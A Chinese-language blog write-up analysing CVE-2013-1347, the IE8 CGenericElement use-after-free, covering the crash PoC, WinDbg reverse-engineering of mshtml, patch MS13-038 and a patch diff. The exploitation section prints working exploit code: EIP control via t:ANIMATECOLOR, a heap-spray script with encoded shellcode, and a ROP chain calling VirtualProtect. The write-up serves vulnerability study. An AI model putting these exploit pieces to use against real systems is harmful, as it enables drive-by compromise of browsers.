CVE-2013-1347分析

 

 

CVE-­2013­-1347Microsoft IE CGenericElement UAF

  1. 背景

    "水坑"攻击事件2013年五月一日,美国劳工部网站被黑,并利用IE漏洞漏洞对浏览网站的用户进行攻击,当时全补丁的IE8均受影响,随后微软也紧急发布安全公告进行预警。此次事件正是利用cve­2013­1347这个IE漏洞导致的,黑客通过分析目标的网络活动规律,寻找目标经常访问的网站弱点,先攻下这些网站并植入攻击代码等待目标访问网站时实施攻击。当受害者使用IE8浏览器访问美国劳工部网站时就会在本地加载mshtml.dlljscript.dll两个动态链接库来解析,从而触发恶意脚本,这个和蠕虫病毒有类似的地方。此类方法被称为"水坑攻击"。

    、漏洞分析

    2.1、分析环境

     

    使用的环境

    版本

    操作系统

    windows7 32

    旗舰版

    漏洞软件

    Internet Explorer

    8.0.7601.17514

    调试器

    WinDbg

    6.1

    反汇编器

    IDA Pro

    6.8

     

    2.2、测试用的poc代码如下

     

    <!doctype html><!-- required -->

    <HTML>

    <head>

    </head>

    <body>

    <ttttt:whatever id="myanim"/><!-- required format -->

    <script>

    f0=document.createElement('span');

    document.body.appendChild(f0);

     

    f1=document.createElement('span');

    document.body.appendChild(f1);

    f2=document.createElement('span');

    document.body.appendChild(f2);

    document.body.contentEditable="true";

    f2.appendChild(document.createElement('datalist'));//has to be a data list

    f1.appendChild(document.createElement('table'));//has to be a table

    try{

    f0.offsetParent=null;//required

    }catch(e){}

    f2.innerHTML="";//required

    f0.appendChild(document.createElement('hr'));//required

    f1.innerHTML="";//required

    CollectGarbage();

    </script>

    </body>

    </html>

    2.3、分析漏洞成因

        打开IE8进程,使用WinDbg附加IE8进程(F6),会发现出现一个窗口,如下图1所示。会出现两个IE进程,我们要选择下面那一个。点击ok,出现如下图2所示。在命令窗内使用g命令,然后如下图3所示,选择"允许阻止的内容"选项,WinDbg会断下来触发异常,执行到一个没有指令的地址。如下图4所示。

    1

     

    2

     

    3

     

     

    4

        查看调用堆栈,在命令窗内使用kv命令,如下图5所示,然后查看IE崩溃时栈顶的返回地址0x67a4c407,查看这个地址附近,可以找到,崩溃前执行过的操作,如下图6所示。

    5

    6

        又看到了我们颇为熟悉的虚函数调用指令,刚好在mshtmlCelement::Doc中调用到此函数虚函数,但是直接在这个函数上下断点,这个断点会不停的被断下,IE8程序本身会不停的调用它。

    2.4、开启hpa

        通过WindDbg中的gflags.exe工具即可开启页堆,在uaf漏洞中,我们依然可以借助他来辅助分析,右键WinDbg打开文件所在位置。在这个目录下可以找到gflags.exe,如下图7所示。在空白处,按住shfit+鼠标右键,选中"在此打开命令窗口",如下图8所示。在命令行窗口,输入gflags.exe/iiexplore.exe+hpa如下图 9所示。

     

    7

     

    8

    9

        我们继续使用WinDbg,附加程序(F6),在命令窗口输入!Gflag,查看是否开启成功hpa,如下图10所示,是成功开启的。

     

    10

    2.5调试poc.html

    重新打开poc.html,然后使用WinDbg附加(F6)调试,然后断下。如下图11,所示。使用heap命令查看ecx,在命令窗如输入!heap­p­aecx,如下图12所示。

    11

     

    12

    相对刚开始崩溃的场景,开启页堆(hpa)后会断的更加及时,而且能得到更多的堆信息。从上面输出的堆信息,可以断定此处是引用已释放的堆地址才导致的崩溃,从栈回溯情况来看,这里引用的是已被删除的CGenericElement对象,是在javaScript垃圾回收时被释放的内存重引用导致的。

    、逆向分析IE引擎对javaScript代码的解析

    3.1分析元素创建过程

    为了找出导致漏洞的本质原因,我们需要对ie引擎在解析poc中的javaScript代码进行逆向分析,尤其是dom树结构的构建过程。先重poc.html中第一句javascript代码开启,他主要创建span元素,如下所示

    f0=document.createElement('span');

     

    WinDbg中存在x命令,可用于查询符号,并且支持"?*"等通用符,借助它可以查找与document.createElement相关的处理函数。在命令窗口输入如下命令,如下图13所示。

    13

     

     

     

    可以看到,CDocument::createElementCDocument::CreateElementHelper可能解析JavaScript代码中的document.createElement函数相关,因此先逆向分析CDocument::createElement函数。使用IDA分析mshtml.dll文件,可以在c盘所搜mshtml.dll也可以在WinDbg加载以后使用lmvm命令如下图14所示,定位CDocument::createElement函数,可以发现他最终会调CDocument::CreateElementHelper来实现,如下图15所示。

    14

     

    15

    跟进CreateElementHelper,可以发现他调用CMarkup::CreateElement创建元素,如下图16所示。

    16

    我们继续跟进CMarkup::CreateElement创建元素,发现他最终会在调用CreateElement,如下图17

     

    17

    Create会从一个特定的函数数组中寻找相应的元素创建函数,如下图1819所示。此处poc创建的是span元素,那么他就调用CSpanElement::CreateElement。因此,在calleax指令处下断查看调用的函数(可能会有两地址都同名为CreateElement的情况,我们直接使用第二个地址),可以鉴别当前创建的的是哪个元素。如下所示

     

     

    bumshtml!CreateElement+0x41"lneax;gc"

    18

    19

    继续分析CSpanElement::CreateElement函数,他首先会HeapAlloc分配一块大小为28字节的内存,接着调用CElement::CElement创建元素,将元素内容写入前面分配的内存地址,如图20和图21所示。

    20 CSpanElement::CreateElement

    21 CElement::CElement

     

     

    因此为了查看创建元素所在的内存数据,可以在CElement::CELement下断点(不在CSpanElement::CreateElement下断点是为了保证通用性,因为不是每个元素创建都会调用到CSpanElement::CreateElement,CElement::CElement是各个元素创建时,必经之路)。可以使用如下断点.

    bumshtml!CElement::CElement+0x1e".echo'===CElement===';ddedil(28/4);gc"

    bumshtml!CreateElement+0x41"lneax;gc"

    28/4中的0x28是元素大小,dd命令以四个字节为单位,所以显示长度为0x28/4。打开WinDbg使用Ctrl+E,加载iexplore.exe然后使用.childdbg1开启调试子进程。下断点.bumshtml!CreateElement+0x41"lneax;gc"这条指令,会出现两个地如下图22所示(需要加载mshtml以后才可以),我们使用第二个地址,下断点如下所示。

    bp 64254bb0+37"lneax;gc"

    22

    运行后打开poc.html,可以看到各个元素的创建过程,创建顺序跟poc中的各个标签一致,如下图23所示(截图取部分)。

    23

    3.2元素添加dom树过程

    分析完元素的创建过程,继续看下一句JavaScript代码,他会在dom树中插入前面已创建的元素,如下所示。

    document.body.appendChild(fo);

    WinDbg中使用查看包含appendChild的符号如下所示,如下图24所示。

    x mshtml!*appendChild*

    24

    poc代码中知道他在网页中添加f0元素,因此先针对CElement::appendChild函数进行分析。该函数直接调用CElement::insertBefore函数进行处理,如下图25所示,然后在调用CElement::InsertBeforeHelper函数,如下图26所示。

     

    25CElement::appendChild

     

    26 CElement::insertBefore

    我们在次,使用WinDbg动态跟踪CElement::InsertBeforeHelper函数的处理过程,使用如下所示命令,单步调试下去,发现他会调用CElement::GetDOMInsertPosition获取元素插入DOM树的位置。此处,poc是在body主体内插入span元素f0,如下图27所示。

    bp mshtml!CElement::InsertBeforeHelper

    27

    找到元素插入的位置,接下来就是执行插入动作,我们继续跟踪调试进去,如下28所示。

    28

     

     

    从上图得知,程序接下来会调用mshtml!CCommentElement函数,跟踪进去发现他会先调用mshtml!CElement::Doc获取CDoc对象,代表网页中的HTMLDocument文档,如下图29所示

     

    29

    接下来调用CDoc::InsertElement函数,顾名思义,该函数正是插入元素的关键函数,如下图30所示。

    30

     

     

    跟进CDoc::InsertElement函数,发现其尾部会直接调用CMarkup::InsertElementInternal函数,如下图31所示。

     

    31

     

     

    CMarkup::InsertElementInternal函数里面会在DOM结构树里面搜索准备插入的分支节点,此处是body节点,找到后会分配0x4c大小的内存(后面需要用到),然后调用CTreeNode::CTreeNode构建所添加元素的DOM树数据结构信息,如下图32所示。

     

    32

     

    在执行CTreeNode::CTreeNode后会得到span元素的CTreeNode对象地址,里面就指向span元素,如下图33所示。

    33

     

     

    为了知道所创建的元素的CTreeNode,我们可以在CTreeNode::CTreeNode函数执行的下一条指令下断,使用如下命令,即可获得CTreeNode对象地址,如下图34所示。

    bu mshtml!CMarkup::InsertElementInternal+1ec".echo'===CTreeNode===';ddeaxl1;dpspoi(eax)l1;gc"

     

    34

    结合前面创建元素断点的方法,我们可以实时的列出所添加元素的CElementCTreeNode对象地址及内容,使用如下所示命令,执行如下图35所示(部分截图)

    bu mshtml!CElement::CElement+0x1e".echo'===CElement===';dd edi(28/4);gc"

    bu mshtml!CreateElement+0x41"lneax;gc"

    bu 07714bb0+41"lneax;gc"

    bu mshtml!CMarkup::InsertElementInternal+1ec".echo'===CTreeNode===';ddeaxl1;dpspoi(eax)l1;gc"

    35

     

     

    根据上面的日志信息,可以知道漏洞对象CGenericElement就是在f2添加datalist时创建的,相当于poc中的代码,如下所示。

    f2.appendChild(document.createElement('datalist'))

     

    基于前面的分析,我们继续跟踪分析CGenericElement的创建过程对CMarkup::InsertElementInternal下断点,如下图36所示。

    36

    从这里可以看到,在mshtml!CMarkup::InsertElementInternal函数里面分配的内存正是用于构造DOM树数据结构的CTreeNode,里面存放的元素对象的地址。关于poc中元素的创建以及添加到DOM树的过程,已分析完毕。搜索DOM树中的f0元素的祖先,并将其置空,并非清空body元素,只是将f0body断绝关系。分析到这里,可以关闭hpa了,开着也可。

    3.3使用IE调试poc

    重新打开ie加载poc.html,然后按下F12就可以打开,开发人员工具,然后选择"脚本"在代码行号前单击一下,即可下断点,如下图37所示。

     

    37

     

    然后点击调试按钮,然后右击"有利于安全性",选择允许阻止的内容,就会在断点断下。如下图38所示

    38

     

     

    我们在fo.offsetParent指向body元素,按下f11逐句调试,在执行f0.offsetParent=null后,在"局部变量"窗口可以看到offsetParent值变为null了。如下图39所示。

     

    39

    3.4源码比对

    使用如下所示命令,搜索可能相关的函数,如下图40所示。

    x mshtml!*offsetParent*

     

    40

    从输出情况来看,最有可能的就是CElement::get_offsetParent函数CElement::GetOffsetParentHelper函数,其实get_offsetParent最终也是调用GetOffsetParentHelper,因此在GetOffsetParentHelper函数上下断点。因为这里会先查找临近的祖先元素,所以也会去索引DOM树结构,CTreeNode结构数据可能会进行读写操作,为了弄清楚GetOffsetParentHelper函数内对CTreeNode结构的操作情况,对GetOffsetParentHelper函数入口与结尾处下断点。应该对CTreeNode那个位置下断点呢?可以先来看下f0.offsetParent=null删除前后的情况,然后对比f0CTreeNode数据变化。设置等于f0.offsetParent=nullCTreeNode数据情况,如下图41所示。

    41

     

    未设置f0.offsetParent=nullCTreeNode数据情况如下,他在CTreeNode+0x44的位置保存CTextBlock结构,如下图42所示。

     

    42

    里面差别比较明显的就是CTreeNode+8CTreeNode+c两处数据,因此对其下断点,这样就可以看到GetOffsetParentHelper函数里面哪里地方对CTreeNode上两处地方写错了,如下图43所示。

     

    43

     

    虽然代码里面设置的是堆f0.offsetParent置空,但是f1f2里面的CTreeNode+C也会被写入1,而后面讲innerHTML置空后,该值又被重新写0xffff。重新对CTreeNode+C设置读写断点,看看该值的用途,最后程序断在CTreeNode::GetCharFormat

     

    44

    078c63a6下断点,发现他会遍历每个元素进行处理,不同元素可能不同值,普通的取值范围在0~3,如下图45所示。

     

    45

     

    因此,初步推测改值可能为元素的引用计数,当他小于0时,就会调用CTreeNode::GetCharFormatHelper重新计算节点格式,后来在参考ie5的源码,到CTreeNode有如下类定义,如下图46所示,虽然版本有点老,但是基本没有问题,只是不够完整。

    46

     

    从上面可以看到,CTreeNode+4是父节点的CtreeNode结构,CTreeNode+8是一些标记位定义,CTreeNode+C其实是定义CharFormat整数值_iCF,而f0.offsetParent=null一句刚好会将其置1,这样他就不会调用CTreeNode::GetCharFormatHelper去重新计算格式用于后续渲染,导致原本未被渲染的节点误以为被渲染了。接下来,执行javaScript代码如下所示,执行后的变化如下图47所示。

    f2.innerHTML="";

    f0.appendChild(document.createElement('hr'));

    f1.innerHTML"";

    47

    通过调试javaScript可以很容易的帮助读者理解代码的意思,方便后续的漏洞分析。最后执行CollectGarbage函数进行垃圾回收,漏洞对象CGenericElement就是在垃圾回收时被释放的,f1f2的内部HTML代码已经被清空,其所占内存就会在垃圾回收时,被释放,此时CGenericElement对象,也就是f2中的datalist元素已被清空,所以CGenericElement对象内存也会被一并释放,其实f1中的TABLE元素也会被释放.

    3.5、日志记录

    继续打开WinDbg,保留着前面对CElementCTreeNode的条件记录断点,如下所示,然后重新附加调试,得到结果如下图48所示。

    bu mshtml!CElement::CElement+0x1e".echo'===CElement===';dd edi l(28/4);gc"

    bu mshtml!CreateElement+0x41"lneax;gc"

    bu 66e0e4fc+41"lneax;gc"

    //输入上面的指令,选第二个地址

    bu mshtml!CMarkup :: InsertElementInternal +1ec".echo' ===CTreeNode===' ; dd eax l1;dps poi (eax)l1; gc "

    48

    上面的CElementCTreeNode是未赋值的情况,很多还是0初始化。执行

    f00offsetParent=null完成赋值,直接看下调试情况可以知道CElement+0x14保存

    CTreeNode的指针,如下图49所示。

    49

    接下来,我们来看垃圾回收后,CGenericElement对象和CTable对象的变化如下图50所示。(其地址参考WinDbg的输出日志),f2datalist子元素创建的CGenericElement对象已经被释放但其中CTreeNode仍然存在并且依然指向已释放的CGenericElement对象同样f1table子元素创建的CTable对象也被释放,但其中CTreeNode也依然存在并指向CTableCTable还不是直接导致UAF的对象。

     

    50

    垃圾回收前后的对比,CTreeNode依然指向已释放的CTable,如下图51与图52所示。

     

    51

    52

    前面我们知道,f0.offsetParent=null会使得未渲染的CTreeNode被误认为渲染过,如果我们把他删除会发现,CGenericElementCTreeNode结构也会被清除,说明最终未被渲染的结构也会被清除。垃圾回收后,CGenericElementCTreeNode结构已经被清除,被后面的hr元素占用了。

    3.6UST栈回溯

    继续执行下去会出发崩溃,如下图53所示

    53

     

    查看崩溃时的栈回溯,发现上面很多地方引用到CGenericElementCTreeNode地址作为参数,如下图5455所示。

     

    54

    55

     

    最早引用CGenericElementCTreeNode地址的是ISpanQualifier::GetFancyFormat函数,因此从该函数入手开始分析。先对其下断点。断下后发现CTreeNode是通过eax传递给下一个调用函数的,如下图56所示。

     

    56

    ISpanQualifier::GetFancyFormat函数的eax可能来自于SLayoutRun::HasInlineMbp函数里的edi,如下图57和图58所示,之所以这么说是因为在调用SLayoutRun::HasInlineMbp函数之前还调用了SRunPointer::SpanQualifier函数,并且尚未知道它是否修复了eax的值。

    57

    58

     

    反汇编分析SRunPointer::SpanQualifier函数,发现它确实是修改了eax的值,使得eax=【【eax+4+c】,如下图59所示,我们已经得知最终得到的eax的值为CTreeNode的地址,那么这里eax+4指的是那个结构呢?

     

    59

     

     

     

    若对SRunPointer::SpanQualifier函数下断点会断下很多次,因此我们设置条件断点,如下所示,去追踪崩溃前eax+4的值,如下图60­61所示。

    bu mshtml ! SRunPointer :: SpanQualifier " . echo ' === eax + 4 ===';dd eax+4;g"

    60

    61

     

     

     

     

    整个过程是在设置f0.offsetParent=null时发生的,从中可以看出eax+4指向一个数组列表的地址,每个数组偏移+4的地址是数组的id值,偏移+8即是CTreePos地址,用于标记该元素在DOM树的位置,偏移+c则为元素CTreeNode的地址,为了方便分析,暂时将次数组命名为element_array查看element_array列表所占内存的分配来源。(需要开启ust栈回溯记录)。依旧是使用命令行+gflags.exe,如下图62所示。

     

    62

     

    开始ust栈回溯,如下图63所示。

     

    63

     

     

     

     

     

     

     

     

     

     

     

    从上面栈回溯信息来看,可以推测出element_array列表是在构造CTexBlock时生成的,前面分析过CTreeNode+0x44保存这CTexBlock的结构体,设置条件断点记录CTexBlockelement_array列表地址,最后发现CTexBlock+0x58保存这element_array列表数据。如下图6465所示。

     

    64

    65

    综上所述,目前我们可以得到以下关键信息。

    CElement+0x14=>CTreeNode

    CTreeNode+0x0=>CElement

    CTreeNode+0x4=>parentCTreeNode

    CTreeNode+0xc=>charformat

    CTreeNode+0x44=>CTexBlock

    CTexBlock+0x58=>element_array

    element_array结构:

    +00unkown

    +04id

    +08CTreePos

    +0cCTreeNode

    通过分析调试,获得CTexBlock部分结构信息,在源码中为搜到CTexBlock的相关信息,因此采用逆向手段去分析。

    CTexBlock结构

    +00vftable

    +04count

    +0cstartpos

    +10endpos

    +1cprev

    +20Next

    +58element_array

    CGenericElementCTexBlock结构为例,如下图66所示

     

    66

     

     

     

     

    3.7漏洞的本质

    为了弄清楚导致漏洞的根本原因,我们重新分配垃圾回收后,Body主体元素的CTexBlock结构中的element_array的变化情况。上面几个结构的的追踪方法已经分析过,所以我们设置直接下断点进行分析,断点如下所示。

    bu mshtml ! CElement :: CElement +0x1e ".echo '=== CElement ===' ;ddedil(28/4);gc"

    bu mshtml!CreateElement+0x41"lneax;gc"

    bu mshtml ! CMarkup :: InsertElementInternal + 1ec " . echo '

    === CTreeNode ===';ddeax;dpspoi(eax)l1;gc"

    在执行垃圾回收后,虽然f0f1innerHTML被清空,但是f2CTextBlock里面的element_array依然是span嵌套这datalist元素(CGnericElement)。也就是说,虽然DOM树结构已变,但是内存中保存这DOM树关系结构的CTextBlock并没及时更新,在如上给出的断点上下断,得出如下图67与图68所示

     

    67

    68

     

    此时的CHenericElement对象,CTreeNodeCElement地址已经释放。假如把poc中的f0.offsetParent=null;一行代码去掉,会发现垃圾回收后f2span)已经不存在CTextBlockelement_array结构了,正是该代码导致的漏洞。接下来,程序调用下列语句,在f0添加hr子元素,这会重新改变DOM树结构,就需要重新遍历DOM树结构,其中就包括已经释放的CGenericElement对象。如下所示。

    f0.appendChild(document.createElement('hr'));

    执行完JavaScript代码后会重新渲染页面,重新计算节点格式,从而引用到指向已释放对象,CGnericChildCTreeNode结构,最后触发漏洞。

    3.8小结

    1、代码中对f0.offsetParent进行置空,会设置ICF格式整数值为1,使得他不做节点格式计算,相当于被标记为已渲染状态,由于设置f0的父节点bodu,会导致其相邻的f1f2都受到影响,各个CTreeNode中的iCF都被置1,使得原本没有被渲染误以为被渲染了。

    2、在f0添加hr子元素,会改变DOM树结构进行重绘,此时就需要遍历CTreeNode,就会引用到CGnericElementCTreeNode结构。

    3、垃圾回收后,由于第一步的原因,导致CGnericElementCTreeNode结构未被删除,虽然DOM树的结构以变,但由于构建页面布局的CTexBlock也依然保存这对CGnericElement的引用,而此时CGnericElement早因为f2.innerHTML被清空而释放掉,最终导致uaf漏洞的产生。

    4、从上面这些信息,其中导致漏洞的原因跟f0f1f2元素关系不大,但必须是块元素和内联元素(否则不会进入CLayoutBlock::BuildBlock构建CTextBlock),比如其中的spandatalist可以替换成u下划线和a标签,此时崩溃对象就不是CGnericElement,而可能是CAnchorElement或者CSpanElement对象,关键在于你poc中所设置的具体元素,而块元素table,也是可以用pdiv这样的块元素代替,但是hr不可替换,只有他才会去遍历寻找CTreeNode,进入漏洞触发流程。

    69

    该漏洞和CGnericElement对象并没有任何关系,只是原漏洞发现着提供的poc刚好使用datalist这个元素,才导致CGnericElement对象被释放重引用,因此也被许多国外安全研究人员命名为CGnericElementUAF漏洞,但不代表这就是导致漏洞的根本原因。

    、漏洞利用

    4.1、劫持控制eip

    只要能覆盖CGnericElement对象内存,就有机会实现利用,因此可以在垃圾回放之后,分配某个对象,并控制对象的内容及大小。在IE8里面刚好有个tANIMATECOLOR标签,通过他就可以实现上述目标,如下所示。

    <script>

    ...

    CollectGarbage();

    ...

    a=document.getElementById('myanim');

    a.values=animvalues;

    </script>

    <t:ANIMATECOLORid="myanim"/>

     

     

    t:ANIMATECOLOR标签值是一个用分号分割的字符串,分号的数量决定对象的大小,对象的每个元素都是一个指针,指向分号分割出来的字符串,从前面的分析中已知道漏洞对象CGnericElement的大小为0x4c,所有这里要包含0x4c/4=13个分号的字符串,如下所示。

    for(i=0;i<13;i++){

    animvalues+=";red";

    }

    然后用第一个分号前面的字符串覆盖虚表指针,通过分析导致崩溃的mshtml!CElement::Doc函数,可以发现函数在调用虚函数前是通过偏移虚表0x70进行索引的,如下图70所示。

    70

    因此采用0x70/4精确控制edx的值,如下所示。

    animvalues="";

    //mshtml!CElement::Doc:

    //6586c8158b01moveax,dwordptr[ecx]

    //6586c8178b5070movedx,dwordptr[eax+70h]

    //6586c81affd2calledx

    for(i=0;i<=0x70/4;i++){

    //t:ANIMATECOLOR标签第一个对象用于覆盖虚表指针

    //由于索引虚函数时,需要偏移0x70,所以这里采用0x70/4去精确

    控制edx

    if(i==0x70/4){

    //animvalues+=unescape("%u5ed5%u77c1");

    animvalues+=unescape("%u4141%u4141");//控制

    edx=0x41414141

    }

    else{

    animvalues+=unescape("%u4242%u4242");//

    0x42424242

    }

    }

     

    Windows7+IE8环境可以执行上述代码,发现程序成功执行到0x41414141,结合rop技术科实现任意代码执行。如下图71所示,已成功控制程序流程。

    71

     

    4.2堆喷

    我们已经劫持了eip,然后通过堆喷,把 shellcode放到要执行的位置。示例代码如下所示。

    varshellcode=

    unescape("%u9090%u9090%u68FC%u0a80%u1e38%u6368%uD189%u684"+"%u74    32%u0C91%uF48B%u7E8D%u33F4%uB7DB%u2B04%u66E3"+

    "%u33BB%u5332%u7568%u6573%u5472%uD233%u8B64%u305A"+

    "%u4B8B%u8B0C%u1C49%u098B%u098B%u698B%uAD08%u803D"+

    "%u380A%u751E%u9505%u57FF%u95F8%u8B60%u3C45%u4C8B"+

     

    "%u7805%uCD03%u598B%u0320%u33DD%u47FF%u348B%u03BB"+

    "%u99F5%uBE0F%u3A06%u74C4%uC108%u07CA%uD003%uEB46"+

    "%u3BF1%u2454%u751C%u8BE4%u2459%uDD03%u8B66%u7B3C"+

    "%u598B%u031C%u03DD%uBB2C%u5F95%u57AB%u3D61%u0a80"+

    "%u1e38%uA975%uDB33%u6853%u6577%u7473%u6668%u6961"+

    "%u8B6C%u53C4%u5050%uFF53%uFC57%uFF53%uF857%u9090"+

    "%u9090");

    Var paddingg=unescape("%u9090%u9090%u9090%u9090");

    while(paddingg.length<1000)

    paddingg=paddingg+paddingg;

    varpaddinggs=paddingg.substr(0,1000‐shellcode.length);

    shellcode+=paddinggs;

    while(shellcode.length<100000)

    shellcode=shellcode+shellcode;

    varonemeg=shellcode.substr(0,64*1024/2);

    for(i=0;i<14;i++){

    onemeg+=shellcode.substr(0,64*1024/2);

    }

    onemeg+=shellcode.substr(0,(64*1024/2)‐(38/2));

    varspray=newArray();

    for(i=0;i<1000;i++){

    spray[i]=onemeg.substr(0,onemeg.length);

    }

     

    我们将堆喷代码,放入explort.html,使用windbg附加调试,如下图72所示。Shellcode已经到我们的内存布局了。

    72

    4.3rop指令

     

    构造rop,还记得一开始我们的如下所示代码吗。劫持eip是上面的指令0x41414141,我们可以使用下面的0x42424242构造rop指令,我们怎么才能得知0x42424242的地址呢。如下图73所示。

    if(i==0x70/4){

    //animvalues+=unescape("%u5ed5%u77c1");

    animvalues+=unescape("%u4141%u4141");//控制

    edx=0x41414141

    }

    else{

    ////0x42424242

    anives+=unescape("%u4242%u4242");

    }

    }

    73

     

    在上图中得知,0x42424242就在eax中,我们可以使用xchgeax,esp指令进行换栈。那么eax的值就是栈内的值。使用od调试器,按下ctrl+s可以搜索指令,如下图74所示。

     

    74

     

    0x41414141的地址换成上图地址,然后ret的就是我们的0x42424242地方的内容了。怎么去构造下面的内容呢,我使用的是如下所示:

    varq=0;

    for(i=0;i<=0x70/4;i++){

    //t:ANIMATECOLOR标签第一个对象用于覆盖虚表指针

    //由于索引虚函数时,需要偏移0x70,所以这里采用0x70/4去精确

    控制edx

    if(i==0x70/4){

    //animvalues+=unescape("%u5ed5%u77c1");

    animvalues+=unescape("%u08f8%u7764");//xchg

    eax,espret

    }

    else{

    //这里就是eax的地址,用来构造rop

    q+=1;

    if(q==1){

    animvalues+=unescape("%ue4f6%u7580");//ret

    VirtualProtect

    continue;

    }

    if(q==2){

    animvalues+=unescape("%u7500%u4141");//参数返回地址

    continue;

    }

    if(q==3){

    animvalues+=unescape("%u7400%u4141");//参数起始地址

    continue;

    }

    自己将其需要的参数,自己构造进去,直接就能使用。使用roppoppopret)指令,改变内存的执行属性,然后去执行shellcode。比如可以使用VirtualProtect这个APi。最后将改好的explort.html文件打开,然后使用调试器附加执行。查看是否正确执行。如下图75所示,我们的shellcode已经正确执行。

    注:这是uncode字符,其中不能出现0000.四个0在一起,否则就会截断。

    75

    、漏洞修复

    5.1下载安装补丁

    去微软官网下载补丁,如下图76所示。下载完的补丁如下图77所示,要选好对应自己电脑版本号和IE版本号,本次的补丁编号是MS13­038

    76

    77

    补丁文件和exe一样,直接双击运行即可,如下图78所示。(要特别注意ida符号问题),点击然后等待安装,安装完成成功后有如下图79所示窗口。

    78

     

    79

    5.2补丁比对

    CBlockContainerBlock::buildBlockContainer函数中,会对CLayoutBlock进行重绘。重绘的基本算法是:

    1、根据重绘时当时的CTreeNode节点去生成CLayoutBlock

    2、如果CTreeNode没有关联的CLayoutBlock,则生成响应的CLayoutBlock,如果存在则将CTreeNode加入到CLayoutBlock中。

    3、在遍历CTreeNode的同事,也会对CLayoutBlock进行遍历,当前的CTreeNode指向的CLayoutBlock和当前的节点不一致时,需要删去该CTreeNode

    4、当CTreeNode遍历完成之后,如果当前的CLayoutBlock的指针pLastLayoutBlock不为空,则需要进行的操作,如下图80所示。

    80

    会对参数传递进来的CLayoutBlock+0x08处第11useflag位置进行判断(一般是CRootElement对应的CLayoutBlock),如果未置位,则不会进入到RemoveChild的流程中。打上补丁后,如下图81所示。

    81

    打过补丁后,可以看到,RemoveChild删除的操作,仅仅在pLastLayoutBlock指向的CLayoutBlock不为空时就执行,不会在判断参数传递进来的CLayoutBlock+0x08处的第11位是否置位。

     

    六、总结

     

     

    为了保证重绘的效率,IE浏览器不会再DOM树有改变时马上进行重新布局,而是等到需要重绘时,才去计算布局。这样导致早操作DOM树的过程中,CTreeNode节点和CLayoutBlock中包含的信息可能不一致。当需要使用的时候,再去同步。但是IE在某些情况下,会同步出现错误(CTreeNode遍历完成,但是CLayoutBlock没有遍历完),则将导致错误的CLayoutBlock(指向已经释放的CTreeNode)对象放在布局链表的尾部,当使用这些错误的Layout元素进行重绘时,会访问已经释放了得CTreeNode,最终导致的UAF

    参考资料

     

    漏洞战争

    https://www.doc88.com/p-3167465799538.html

posted @ 2019-06-21 10:03  一生热爱  阅读(556)  评论(0编辑  收藏  举报